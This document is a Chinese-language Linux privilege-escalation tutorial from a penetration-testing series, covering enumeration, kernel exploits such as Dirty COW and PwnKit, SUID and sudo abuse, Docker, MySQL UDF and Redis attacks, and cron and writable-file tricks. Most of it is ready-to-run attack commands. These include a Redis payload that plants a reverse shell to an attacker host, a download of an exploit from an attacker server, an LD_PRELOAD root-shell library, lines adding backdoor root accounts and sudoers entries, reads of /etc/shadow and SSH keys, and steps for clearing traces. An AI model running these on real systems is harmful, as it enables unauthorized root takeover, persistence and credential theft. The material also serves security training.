cover

内网渗透 — Linux 提权

  1. 提权方法总览
  2. 开始之前 — 基础信息收集
  3. 内核提权
  4. SUID 提权
  5. Sudo 提权
  6. 第三方服务提权
  7. 其他常见提权方式
  8. 提权工具汇总

一、提权方法总览

1

权限提升(Privilege Escalation) 指从低权限账户(Web 服务用户、普通用户)获取更高权限(通常为 root)的过程,分为两类:

  • 垂直提权:普通用户 → root(本文重点);
  • 水平提权:用户 A → 用户 B(同级切换,常借助凭证窃取/计划任务/SSH 密钥等)。

整体思路流程:

信息收集(内核/服务/权限/配置)
        │
        ├── 有无可用本地服务? ──► 第三方服务提权(Docker / Redis / MySQL)
        ├── 有无特殊权限文件? ──► SUID / Capabilities / 可写敏感文件
        ├── sudo -l 有无 NOPASSWD? ──► Sudo 提权 / sudo 漏洞
        ├── 有无 root 计划任务? ──► 计划任务劫持
        └── 以上都没有 ──────────► 内核漏洞提权

主要分类一览:

分类 核心思路 典型示例
内核提权 利用内核自身漏洞,通杀性强但有崩溃风险 脏牛 Dirty COW、Dirty Pipe、PwnKit
SUID 提权 利用属主为 root 且带 SUID 位的可执行文件 find / vim / awk / bash -p
Sudo 提权 滥用 sudo 白名单配置或 sudo 自身漏洞 sudo vi、Baron Samedit(CVE-2021-3156)
第三方服务提权 root 身份运行的本地服务缺乏认证 Docker 组、MySQL UDF、Redis 写 SSH key
配置/凭证提权 利用可写文件、计划任务、Capabilities、凭证复用 可写 /etc/passwd、root crontab 脚本可写

二、开始之前 — 基础信息收集

2

进入目标主机后(如通过 Webshell / 反弹 shell),先进行基础信息收集,为选择提权路径做准备。核心目标:搞清楚内核/发行版版本(用于搜内核 EXP)、以 root 运行的服务、带特殊权限的文件、以及任何可写入的关键位置。

提示:逐条执行慢且容易遗漏,实战中通常先跑一遍一键枚举脚本(见 2.8),再针对可疑点手工深入。

2.1 内核、操作系统和设备信息

uname -a               # 所有系统信息(内核版本、架构)
uname -o               # 操作系统类型
uname -n               # 主机名
uname -r               # 内核版本(重点记录,用于匹配内核 EXP)
uname -m               # 系统架构(x86_64 / i686,编译 EXP 时要对应)
lsb_release -a         # 发行版信息
hostnamectl            # 主机名、内核、发行版综合信息
cat /etc/*-release     # 发行版信息
cat /etc/issue         # 发行版信息
cat /proc/version      # 内核信息及编译信息
cat /proc/cpuinfo      # CPU 信息
cat /proc/meminfo      # 内存信息(评估跑内核 EXP 的可行性)
uptime                 # 系统运行时长及负载
cat /etc/os-release    # systemd 系统上的发行版信息

2.2 用户和群组

whoami                          # 当前用户名
id                              # 当前用户 uid/gid/所属组(注意 euid)
cat /etc/passwd                 # 系统所有用户
cat /etc/shadow                 # 用户密码哈希(低权限通常不可读,能读即提权线索)
cat /etc/group                  # 系统所有组
groups                          # 当前用户所在的组
groups test                     # test 用户所在的组
getent group docker             # 查看 docker 组的成员(换成任意组名)
awk -F: '$3 == 0 {print $1}' /etc/passwd      # 列出所有 UID=0 的超级用户账户
w                               # 当前已登录用户及其活动
last                            # 最近登录用户列表
lastlog                         # 所有用户上次登录信息
lastlog -u <username>           # 指定用户上次登录信息

重点关注:当前用户是否位于 dockerlxdadmdiskvideoshadow 等高权限组——这些组成员身份本身可能就是提权路径(见第六章)。

2.3 环境信息

env                    # 显示环境变量(注意 PATH、LD_PRELOAD、http_proxy 等)
cat /etc/shells        # 系统可用的 shell
echo $PATH             # 当前 PATH(判断是否存在 PATH 劫持机会)
sudo -V                # sudo 版本(用于对照 sudo 历史 CVE)
cat /etc/profile       # 全局环境变量
cat /proc/1/environ    # init 进程环境变量(需要权限)

2.4 进程和服务

ps aux                 # 所有进程
ps aux | grep root     # 以 root 身份运行的进程(第三方服务提权线索)
ps aux | grep <svc>    # 指定服务,如 mysql / redis / docker
netstat -antup         # 所有打开并监听的端口与对应进程
ss -antp               # netstat 的现代替代
lsof -i -P -n          # 打开的网络连接
systemctl list-units --type=service --state=running   # 运行中的服务(systemd 系统)

重点观察只监听 127.0.0.1 的端口:这类服务外网不可达,但本机的低权限 shell 可以直接访问(如 Redis 6379、Docker API、内部管理面板)。

2.5 计划任务

crontab -l                      # 当前用户的 crontab
crontab -l -u <user>            # 指定用户的 crontab(需要权限)
cat /etc/crontab                # 系统 crontab
ls -al /etc/cron.*              # cron.hourly / daily / weekly / monthly
ls -al /var/spool/cron/         # 用户计划任务存储目录

关注点:root 计划任务所执行的脚本文件是否可被当前用户写入/替换(见 7.1)。

2.6 软件安装与包信息

dpkg -l                # Debian/Ubuntu 已安装包及版本
rpm -qa                # RHEL/CentOS 已安装包及版本
pacman -Q              # Arch
cat /etc/fstab         # 已挂载文件系统(注意 NFS、noexec/nosuid 选项)
df -h                  # 磁盘挂载情况
mount                  # 当前挂载信息

2.7 文件权限速查

# 查找当前用户可写的敏感目录/文件
find / -writable -type d 2>/dev/null
find /etc -writable 2>/dev/null

# SUID / SGID 文件
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

# Linux Capabilities 文件
getcap -r / 2>/dev/null

# 关键文件是否可写(任何一条为真都是直接提权路径)
ls -l /etc/passwd /etc/shadow /etc/sudoers

# SSH 相关
cat ~/.ssh/authorized_keys  2>/dev/null
cat ~/.ssh/id_rsa           2>/dev/null
ls -la /root/.ssh/          2>/dev/null

# 历史文件(常含密码、运维命令)
cat ~/.bash_history
cat ~/.mysql_history
cat ~/.python_history

2.8 一键枚举脚本

工具 说明 地址
LinPEAS 最全的一键枚举脚本,红/黄高亮标记大概率可利用点 github.com/peass-ng/PEASS-ng/tree/master/linPEAS
LinEnum 经典 Linux 枚举脚本 github.com/rebootuser/LinEnum
linuxprivchecker.py Python 单文件枚举,无需编译 github.com/sleventyeleven/linuxprivchecker
pspy 无 root 权限监控进程创建,用于”抓”隐藏的 root 定时任务 github.com/DominicBreuker/pspy
BeRoot 枚举 + 自动尝试部分提权 github.com/AlessandroZ/BeRoot

典型用法:

# 上传后执行(目标无 python 时用编译好的二进制版 LinPEAS)
chmod +x linpeas.sh
./linpeas.sh -a > /tmp/linpeas.txt 2>&1    # -a 做全面检查

# 目标可出网时直接下载
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/lp.sh
bash /tmp/lp.sh | tee /tmp/lp.out

三、内核提权

3

原理:利用已知的内核自身漏洞(本地越界、竞态、UAF 等)实现本地提权,多为”通杀”型。大多数内核漏洞可通过 uname -r 得到的内核版本号快速比对。

风险提示

  • 内核 EXP 直接在内核态操作内存,存在导致目标系统崩溃(kernel panic)的风险,生产环境务必谨慎,有条件时先在测试环境中验证;
  • 很多 EXP 需要 gcc 在目标机上编译,若目标无编译环境,需在相同架构、相近发行版的机器上静态编译后上传;
  • 高版本发行版通常开启了 KASLR、SMEP、SMAP 等缓解措施,老 EXP 可能失效。

3.1 漏洞搜索:searchsploit

用 Kali 自带的 searchsploit 搜索 Exploit-DB 中的公开 EXP:

# 基本搜索:任意关键词组合
searchsploit linux 2.6 ubuntu priv esc

# 按内核版本模糊搜
searchsploit linux kernel 3.13 priv esc

# 常用参数
searchsploit -p <EDB-ID>     # 显示漏洞利用的完整本地路径
searchsploit -m <EDB-ID>     # 把 EXP 拷贝到当前工作目录
searchsploit -t <keyword>    # 仅匹配标题
searchsploit --exclude="POC" # 排除仅 PoC 的条目

也可以直接在 https://www.exploit-db.com 或 GitHub 按 CVE + 内核版本 搜索。选定 EXP 后需核对:影响内核版本区间、32/64 位、依赖(如 libssl-dev)。

3.2 EXP 编译与传输

# 编译方法通常写在源码头部注释中
gcc -pthread exp.c -o exp -lcrypt
gcc -static -o exp exp.c      # 静态编译,降低目标机缺库的概率

# 上传方式(按目标出网能力选择)
wget http://attacker/exp -O /tmp/exp     # 在目标机执行
python3 -m http.server 8080              # 攻击机开 HTTP
scp exp user@target:/tmp/                # 有 SSH 凭证时
base64 exp | tr -d '\n'                  # 小文件可用 base64 复制粘贴

3.3 脏牛漏洞(Dirty COW,CVE-2016-5195)

  • 漏洞编号:CVE-2016-5195
  • 漏洞名称:脏牛(Dirty COW)
  • 漏洞原理get_user_pages 内核函数在处理 Copy-on-Write(COW,写时复制)过程中存在竞态条件,导致 COW 机制被破坏,攻击者获得向进程地址空间中只读内存区域写数据的机会。利用这一点可修改 /etc/passwdsupasswd 等只读文件,从而提权。
  • 漏洞危害:低权限用户利用该漏洞可在全版本上实现本地提权,稳定性较好。
  • 影响范围:Linux kernel ≥ 2.6.22 且 < 4.8.3(修复版本:4.7.7 / 4.4.26 LTS / 3.10.0-327.36.3.el7 等);Android 同样受影响。
  • PoC:https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

利用示例(passwd 覆写型 PoC)

gcc -pthread dirty.c -o dirty -lcrypt   # 编译
./dirty newpass                          # 修改 root 密码为 newpass
su root                                  # 切换为 root

3.4 Dirty Pipe(CVE-2022-0847)

  • 漏洞原理:pipe(管道)结构中的 PIPE_BUF_FLAG_CAN_MERGE 标志位在特定条件下未被正确初始化/清除,导致非特权进程可向任意只读文件的页缓存中追加写入数据,从而篡改只读文件。
  • 影响范围:5.8 ≤ Linux kernel < 5.16.11 / 5.15.25 / 5.10.102。
  • 典型利用:覆写 /etc/passwd(把某用户改为无密码 root)或 /etc/shadow 的 root 哈希。
  • PoC:https://dirtypipe.cm4all.com/(原作者说明及 PoC)、github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits

3.5 PwnKit(CVE-2021-4034)

  • 漏洞原理:polkit 的 pkexecmain() 处理 argc=0 的异常参数时存在越界写,攻击者可控制环境变量实现任意代码执行。pkexec 默认带 SUID root,几乎所有桌面与服务器发行版出厂即受影响。
  • 影响范围:polkit 自 2009 年 5 月版本以来的所有版本(0.96 起),修复前影响面极广。
  • 检测pkexec --version 结合发行版补丁信息;或检查 ls -l $(which pkexec) 是否仍有 SUID。
  • 利用github.com/ly4k/PwnKitgithub.com/arthepsy/CVE-2021-4034(编译运行即可获得 root shell)。

3.6 其他常见内核提权漏洞速查

CVE 名称 影响版本(大致) 备注
CVE-2017-1000112 UFO 溢出 4.4 ~ 4.13 UDP 分片,EDB-48134 等
CVE-2019-13272 ptrace 提权 4.10 ~ 5.1.x 需目标有 gdm/xfce4/X 等 pkexec 场景
CVE-2021-22555 netfilter 堆溢出 2.6.19 ~ 5.9 Google 披露,PoC 完整
CVE-2022-34918 netfilter 堆溢出 < 5.18.16 有成熟 EXP
CVE-2024-1086 nftables UAF 3.15 ~ 6.1.x 部分 稳定性较好,影响面广

使用任何内核 EXP 前,务必确认目标内核落在 EXP 声称的影响区间内,并优先选择带 -static 编译说明的版本。


四、SUID 提权

4

4.1 原理

SUID 全称 Set owner User ID up on execution。设置了 SUID 位(权限位显示为 s,八进制 4000)的可执行文件,任何人执行时都会临时以文件属主的权限运行

  • 只有当程序属主是 root(UID 0)且文件带 SUID 位时,才可能用于提权;
  • SUID 只影响进程的有效用户(EUID),派生的 shell 默认会把 EUID 降回真实 UID,因此通常需要 bash -p-p 保留特权)或程序自身的命令执行能力;
  • 并非所有 SUID 程序都可利用,可对照 GTFOBins(https://gtfobins.github.io/ )按 程序名 + SUID 查询已知利用方法。

4.2 枚举 SUID 文件

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -type f 2>/dev/null
find / -user root -perm -4000 -type f -exec ls -l {} \; 2>/dev/null

将结果与 GTFOBins 对照;同时留意自研程序(不在白名单内的 suid 二进制)——它们往往存在命令拼接、参数注入等缺陷。

4.3 常见 SUID 程序提权

find

find . -exec /bin/bash -p \;     # 获得一个 root shell(-p 保留 SUID 特权)

bash / sh

若 bash 本身被设置了 SUID(少见但致命):

/bin/bash -p      # -p 保证不降权

vim / vi

vim 以 SUID 运行时,继承 root 权限,可直接读写仅 root 可读的文件:

vim /etc/shadow       # 读取/修改密码哈希

注意:多数发行版中 vim 执行 SUID 时 :!sh 派生的 shell 会降权,读取/写入敏感文件(shadow、sudoers、authorized_keys)更可靠;部分编译版本支持 :py import os;os.setuid(0);os.system('/bin/bash')

awk

awk 'BEGIN {system("/bin/bash -p")}'

python / perl / php

python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'

less / more

less /etc/profile
#!/bin/sh
!/bin/bash -p        # 在 less 命令模式中执行

tar

tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec="/bin/bash -p"

env

env /bin/bash -p

cp / mv

# 用 cp 覆盖 /etc/passwd,预先构造好带 uid=0 的账户行
cp fake_passwd /etc/passwd

nmap(老版本 4.11 ~ 5.21)

nmap --interactive
nmap> !sh

读取类(cat / strings / base64 / od)

带 SUID 时可直接读取 /etc/shadow

base64 /etc/shadow
strings /etc/shadow

4.4 自研 SUID 程序

遇到非标准程序(如 /usr/local/bin/backup)带 SUID root 时:

  1. stringsltrace(如有)观察其行为;
  2. 检查是否调用了相对路径命令(可 PATH 劫持)、是否拼接用户可控参数
  3. 反编译分析(拖回本地用 IDA/Ghidra)。

五、Sudo 提权

5

一旦攻击者能以某个用户身份使用 SUDO(尤其是配置了 NOPASSWD 的情形),基本等于可以以 root 权限执行任意命令。

5.1 枚举:sudo -l

sudo -l          # 列出当前用户允许的 sudo 命令(有 NOPASSWD 时无需密码)
sudo -l -U user  # 列出指定用户的 sudo 权限(需要一定权限)
sudo --version   # 查看版本,对照历史 CVE

拿到白名单命令后,同样去 GTFOBins(sudo 场景) 查询利用方式。

5.2 无密码(NOPASSWD)

典型例子,允许 sudo vi

sudo vi test.txt
# 进入底线命令模式后执行:
:/bin/bash     →  :!/bin/bash      # 获得 root shell

更多 GTFOBins 常见 sudo 利用(均为 sudo <cmd> 形式):

sudo awk 'BEGIN {system("/bin/bash")}'
sudo find . -exec /bin/bash \;
sudo less /etc/profile          # 命令模式 !/bin/bash
sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo python3 -c 'import os; os.execl("/bin/sh","sh")'   # sudo 本身已提权,无需 -p
sudo tee /etc/sudoers <<< "attacker ALL=(ALL) NOPASSWD: ALL"   # sudo tee 追加 sudoers
sudo nmap --interactive          # 老版本
sudo apt-get changelog           # !/bin/bash(Debian 系)
sudo scp -S /bin/bash x 'x:;'    # -S 指定任意程序并保留提权

5.3 有密码

若已知当前用户密码且其在 sudoers 中拥有完整权限:

sudo -i        # 直接切换 root
sudo su
sudo bash

5.4 利用 LD_PRELOAD 环境变量(env_keep)

sudo -l 输出包含 Defaults env_keep += LD_PRELOAD(或 env_keep 保留了 LD_PRELOAD),则可通过预加载共享库劫持任意被 sudo 白名单允许的程序:

// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so shell.c
sudo LD_PRELOAD=/tmp/shell.so <任意sudo白名单命令>    # 触发 _init 弹 shell

5.5 sudo 配置缺陷(CVE-2019-14287)

/etc/sudoers 配置为 ALL,!root(允许以除 root 外任意用户执行)时:

sudo -u#-1 id        # sudo < 1.8.28 将 -1 解析为 0,实际以 root 执行
sudo -u#4294967295 id

5.6 Linux sudo 权限提升漏洞(CVE-2021-3156,Baron Sammit/Baron Samedit)

  • 漏洞原理:sudo 使用 -s-i 在 shell 模式下运行命令时,会用反斜杠转义特殊字符;但当使用 -s/-i 运行 sudoedit 时并不会执行转义,命令行中未转义的反斜杠导致堆缓冲区溢出。只要系统中存在 sudoers 文件(通常是 /etc/sudoers),任何本地普通用户(无需在 sudoers 中注册)即可利用获得 root。
  • 影响范围:sudo 1.8.2 ~ 1.8.31p2、1.9.0 ~ 1.9.5p1。
  • 快速检测
sudoedit -s '\' $(python3 -c 'print("A"*100000)')
# 存在漏洞:内存错误/段错误(memory corruption)
# 已修复:提示正常 usage 报错
  • PoC:https://github.com/worawit/CVE-2021-3156 、https://github.com/blasty/CVE-2021-3156

5.7 sudoedit 任意文件写入(CVE-2023-22809)

  • 影响范围:sudo 1.8.0 ~ 1.9.12p1。
  • 原理:sudoedit 对编辑器参数中的 -- 处理不当,允许通过环境变量绕过文件名过滤,向任意文件写入,常用来写 /etc/sudoers
export EDITOR="vi -- /etc/sudoers"
sudoedit /etc/sudoers        # 需要 sudoers 里有 sudoedit 条目
# 编辑器中追加:attacker ALL=(ALL) NOPASSWD: ALL

六、第三方服务提权

6

当某些第三方服务以 root 身份运行且可被本地低权限用户访问时,借它执行的操作即为 root 权限。枚举入口:

netstat -antup                # 所有监听端口(重点看 127.0.0.1 的服务)
ss -antp
ps aux | grep root            # root 运行的服务

6.1 Docker 组提权

docker 守护进程默认允许 root 用户和 docker 组用户通过 /var/run/docker.sock 完全控制 Docker——这实质上等价于免密 root。docker 组用户可通过挂载宿主机根目录逃逸到宿主机文件系统:

方式一:公开镜像一键提权

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
# -v /:/hostOS 将宿主机根目录挂载进容器
# 镜像启动脚本 exploit.sh 会 chroot 到 /hostOS 并获取宿主机 root 权限

方式二:本地镜像手动版(目标无法出网时更稳)

docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# 若已有本地镜像(如 busybox/centos),同理 -v /:/mnt 后 chroot /mnt

方式三:直接操作 socket(无 docker 命令时)

# 若 docker.sock 对当前用户可读,可用 curl 调 Docker API
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json

6.2 MySQL UDF 提权

前提

  • MySQL 以 root 身份运行;
  • 已拿到 MySQL 可写文件的账号(通常需 root 账号或 FILE 权限);
  • secure_file_priv(为空才允许导出到任意路径),检查:
SHOW VARIABLES LIKE "secure_file_priv";

UDF 函数说明(sqlmap 自带 lib_mysqludf_sys):

函数 作用
sys_eval 执行任意命令并返回输出
sys_exec 执行任意命令并返回退出码
sys_get 获取环境变量
sys_set 创建/修改环境变量

获取与解码 UDF 文件:sqlmap 自带 UDF 文件(区分系统/位数),为防止误杀做了异或编码,使用前需用 cloak.py 解码:

# Windows 版目录示例
# sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_
python sqlmap\extra\cloak\cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys.dll
# Linux 版在 sqlmap/udf/mysql/linux/ 下,为 .so 文件

提权步骤(Linux)

SELECT @@plugin_dir;       -- 查看插件目录,如 /usr/lib/mysql/plugin/
SELECT @@basedir;          -- MySQL 安装目录

-- 将解码后的 .so 转为十六进制后写出(0x后跟十六进制内容)
SELECT 0x7f454c46... INTO dumpfile '/usr/lib/mysql/plugin/udf.so';
-- 若 plugin 目录不存在,需先想办法创建目录

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';

SELECT * FROM mysql.func WHERE name = 'sys_eval';   -- 确认创建成功
SELECT sys_eval('id');                              -- 执行系统命令(root 权限)

版本差异补充(Windows 环境):MySQL < 5.0 导出路径随意;5.0 ≤ 版本 < 5.1 需导出至系统目录;≥ 5.1 必须放到 lib\plugin 目录,目录不存在时可用 NTFS ADS(::$INDEX_ALLOCATION)创建目录。

痕迹清除

DROP FUNCTION sys_eval;
DELETE FROM mysql.func WHERE name='sys_eval';

6.3 Redis 未授权提权

Redis 默认绑定 0.0.0.0/6379无认证;若以 root 身份运行,攻击者可利用 Redis 直接写入 SSH 公钥或计划任务。

方式一:写 SSH 公钥(最常用)

redis-cli -h <target>
> set pwn "\n\nssh-rsa AAAA...(你的公钥)...\n\n"
> config set dir /root/.ssh
> config set dbfilename authorized_keys
> save
# 随后 ssh -i id_rsa root@target

方式二:写计划任务(CentOS/RHEL,/etc/cron.d 或 crontab 路径)

> set cron "\n\n* * * * * /bin/bash -c 'bash -i >& /dev/tcp/<attacker>/4444 0>&1'\n\n"
> config set dir /var/spool/cron
> config set dbfilename root
> save

方式三:写 Webshell(Web 目录下写 db 文件,需 Web 服务可读)。

限制:RDB 文件头尾有二进制垃圾,写 authorized_keys 前用 \n\n 分隔通常可行;Debian 系对 cron 文件格式严格,/etc/cron.d 方式成功率更高。

6.4 LXC / LXD 组提权

lxd 组成员可构建特权容器并挂载宿主机根目录:

lxd init                          # 初始化(如未初始化)
lxc image import alpine.tar.gz rootfs.squashfs --alias alpine
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc -- /bin/sh
chroot /mnt/root                  # 即宿主机根文件系统

(alpine 镜像构建:https://github.com/saghul/lxd-alpine-builder)


七、其他常见提权方式

7

7.1 计划任务(Cron)

思路:root 的计划任务若调用了低权限用户可写的脚本/可执行文件,即可被替换执行。

  1. 脚本可写ls -l 检查 /etc/cron.*/var/spool/cron//etc/crontab 中引用的脚本;可写则直接改写内容或 cp 替换。
  2. PATH 劫持:脚本中使用相对命令名(如 tarbackup.sh 里调用 curl)且 PATH 可被影响时,在 /tmp 放同名恶意文件并劫持 PATH。
  3. 通配符注入(经典 tar 示例):
# root 定时任务:tar czf /backup/site.tar.gz -C /var/www .
cd /var/www
echo "chmod u+s /bin/bash" > exploit.sh
echo "" > "--checkpoint-action=exec=sh exploit.sh"
echo "" > "--checkpoint=1"
# 下次 tar 触发时参数注入,bash 变为 SUID
  1. 看不到 root crontab 时:用 pspy 实时监控进程,捕获周期性 root 命令:
./pspy64 -pf -i 1000

7.2 Linux Capabilities

Capabilities 把 root 超级权限拆分为细粒度能力;文件带特定 capability 时同样可提权:

getcap -r / 2>/dev/null | grep -E 'cap_setuid|cap_setgid|cap_sys_ptrace|cap_dac_read_search|cap_sys_admin|cap_net_admin'
# 带 cap_setuid 的 python
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# 带 cap_dac_read_search 的 tar,可直接读取任意文件
tar cf shadow.tar /etc/shadow

7.3 可写关键文件

# 1) /etc/passwd 可写 —— 直接追加 UID=0 账户
openssl passwd -1 -salt evil 123456       # 生成密码哈希
echo 'evil:$1$evil$...::0:0::/root:/bin/bash' >> /etc/passwd
su evil    # 密码 123456

# 2) /etc/sudoers 可写
echo 'attacker ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers

# 3) root 的 authorized_keys 可写 —— 直接种 SSH 公钥
cat id_rsa.pub >> /root/.ssh/authorized_keys

7.4 NFS no_root_squash

若 NFS 导出配置了 no_root_squash,客户端的 root 访问共享目录时保留 root 权限:

showmount -e <target>                      # 查看导出目录
mount -t nfs <target>:/shared /tmp/mnt
cd /tmp/mnt && cp /bin/bash ./shell && chmod u+s shell   # 制作 SUID shell
# 在目标机上执行 /shared/shell -p

7.5 SSH 相关

  • 读取其他用户的 ~/.ssh/id_rsa 私钥,直接 SSH 登录;
  • ~/.ssh/authorized_keys 可写 → 种公钥;
  • 检查 ssh-agent 转发、堡垒机场景下复用已认证的 socket;
  • 密码复用:运维常在多处使用相同密码,拿到的口令尝试 susudo、SSH。

7.6 历史与配置文件泄露凭证

cat ~/.bash_history | grep -E 'pass|sudo|su|mysql|ssh'
find / -name "*.conf" -o -name "*.ini" -o -name ".env" 2>/dev/null
grep -r "password" /var/www 2>/dev/null

八、提权工具汇总

8

阶段 工具 用途
信息收集 LinPEAS / LinEnum 一键枚举可提权点
信息收集 pspy 监控隐藏进程/定时任务
信息收集 BeRoot / unix-privesc-check 枚举 + 自动验证部分路径
信息收集 Metasploit linux/local/... / exploit_suggester 后渗透阶段自动化建议
漏洞查询 searchsploit / Exploit-DB 内核与服务 EXP
二进制利用 GTFOBins SUID / sudo 二进制利用手册
专项 EXP PwnKit、Baron Samedit PoC、DirtyPipe EXP 单个 CVE 直接利用